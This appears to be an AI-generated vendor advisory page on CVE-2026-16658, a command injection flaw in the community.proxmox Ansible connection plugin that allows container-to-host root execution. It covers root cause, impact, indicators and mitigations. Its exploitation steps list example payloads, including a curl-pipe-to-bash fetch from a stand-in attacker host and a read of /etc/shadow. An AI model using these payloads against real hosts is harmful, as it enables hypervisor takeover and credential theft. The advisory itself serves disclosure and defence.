CVE-2026-16658
Ansible vulnerability analysis and mitigation

Overview

CVE-2026-16658 is an OS command injection vulnerability (CWE-78) in the community.proxmox Ansible collection's proxmox_pct_remote connection plugin. The flaw allows shell metacharacters in commands intended for an LXC container to instead execute on the Proxmox hypervisor host as root, constituting a container-to-host trust boundary crossing. The CVE was reserved and details were published via Red Hat's CVE database; it carries a CVSS score of 9.9 (Critical), though Red Hat rates its practical impact as Important due to deployment-dependent privilege considerations (Red Hat CVE). The vulnerability was reported by Jake Badoino and is tracked under Red Hat Bugzilla #2506209 (Red Hat CVE).

Technical details

The root cause is in the _build_pct_command() method of the proxmox_pct_remote connection plugin, which constructs a pct exec command string via unquoted string concatenation and passes it to the Proxmox host's shell via Paramiko (CWE-78: Improper Neutralization of Special Elements used in an OS Command) (Red Hat CVE). Shell metacharacters such as >, |, ;, &&, and $() embedded in task commands are interpreted by the Proxmox host's shell rather than being passed into the target LXC container, causing unintended host-level execution. Notably, the put_file and fetch_file methods in the same plugin correctly apply shell quoting, indicating this is an isolated oversight on the exec code path. Exploitation requires the ability to supply or influence commands executed via the proxmox_pct_remote plugin — typically an Ansible operator with access to run playbooks targeting LXC containers (Red Hat CVE).

Impact

Successful exploitation allows commands intended for an unprivileged LXC container to execute on the Proxmox hypervisor host as root, enabling unauthorized code execution, file read/write on the host, data exfiltration, and potential denial of service (Red Hat CVE). In multi-tenant or delegated management environments where Ansible operators have container-level access but not host-level access, this represents a genuine privilege escalation and container escape. Even in standard deployments where the Ansible SSH user already has root/sudo on the host, the most common real-world risk is accidental host modification when legitimate tasks contain shell metacharacters — silently executing on the host instead of the container (Red Hat CVE).

Exploitability

The CVE status was listed as Reserved with limited public technical details at the time of Feedly indexing (September 2, 2026), and no public proof-of-concept exploit code, exploit kit integration, or confirmed in-the-wild exploitation has been reported (Red Hat CVE). No EPSS score or CISA KEV catalog entry is currently available for this CVE. Exploitation requires an attacker (or misconfigured playbook) to supply shell metacharacters in commands routed through the proxmox_pct_remote plugin, which limits the attack surface to environments actively using this Ansible collection.

Exploitation steps

  1. Identify target environment: Confirm the target Ansible control node uses the community.proxmox collection and the proxmox_pct_remote connection plugin to manage LXC containers on a Proxmox host.
  2. Craft malicious command: Prepare a task or raw command containing shell metacharacters (e.g., ; id > /tmp/pwned, $(curl attacker.com/shell.sh | bash), or | cat /etc/shadow) intended to be passed to a container via ansible.builtin.raw or ansible.builtin.shell.
  3. Trigger execution via plugin: Execute the Ansible playbook targeting an LXC container using the proxmox_pct_remote connection. The _build_pct_command() method concatenates the command without quoting, producing a pct exec <vmid> -- <command> string where metacharacters are interpreted by the Proxmox host's shell via Paramiko.
  4. Achieve host-level code execution: The injected metacharacters cause the payload to execute on the Proxmox hypervisor as root rather than inside the container, enabling privilege escalation, data access, or persistence on the host (Red Hat CVE).

Indicators of compromise

  • Logs: Ansible task logs showing proxmox_pct_remote connection plugin activity with commands containing shell metacharacters (>, <, |, ;, &&, $()); unexpected command output or errors from host-level execution appearing in Ansible run output.
  • File System: Unexpected new or modified files on the Proxmox host (outside container paths) created around the time of Ansible playbook runs; presence of web shells, reverse shell scripts, or unauthorized SSH keys in /root/ or /tmp/ on the hypervisor.
  • Process: Unusual processes spawned by the pct or sshd process on the Proxmox host (e.g., bash, curl, wget, python3) that are not associated with normal container management operations.
  • Network: Unexpected outbound connections from the Proxmox host to external IPs following Ansible playbook execution, particularly to uncommon ports or known attacker infrastructure (Red Hat CVE).

Mitigation and workarounds

The primary remediation is to update the community.proxmox Ansible collection to a patched version once released — monitor the collection's changelog and vendor advisories for a fix (Red Hat CVE). As an immediate workaround, avoid using shell metacharacters (>, <, |, ;, &&, $()) in tasks targeting LXC containers via proxmox_pct_remote; use ansible.builtin.copy or ansible.builtin.template modules instead of raw/shell tasks for file operations. A manual quoting workaround can be applied: ansible.builtin.raw: "pct exec {{ vmid }} -- sh -c '{{ cmd | quote }}'". Additionally, audit recent Ansible task logs for any proxmox_pct_remote tasks containing metacharacters and check the Proxmox host for unintended file modifications (Red Hat CVE).

Community reactions

Red Hat has published a detailed CVE record noting that while the CVSS score is 9.9, their assessment rates the practical impact as Important due to the deployment-dependent privilege model — in most Proxmox deployments the Ansible SSH user already has root/sudo on the host, reducing the escalation impact (Red Hat CVE). Red Hat credited Jake Badoino for responsibly reporting the issue. Broader community or media coverage is limited given the CVE's reserved status at time of publication.

Additional resources


SourceThis report was generated using AI

Related Ansible vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-16658CRITICAL9.9
  • Ansible logoAnsible
  • ansible
NoNoSep 02, 2026
CVE-2026-16493HIGH7.8
  • Ansible logoAnsible
  • ansible-core
NoYesJul 21, 2026
CVE-2026-11820MEDIUM6.5
  • Ansible logoAnsible
  • rhc-worker-playbook
NoNoJun 23, 2026
CVE-2026-16566MEDIUM6.1
  • Ansible logoAnsible
  • ansible
NoNoJul 27, 2026
CVE-2026-80158MEDIUM5.5
  • Ansible logoAnsible
  • ansible
NoNoAug 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management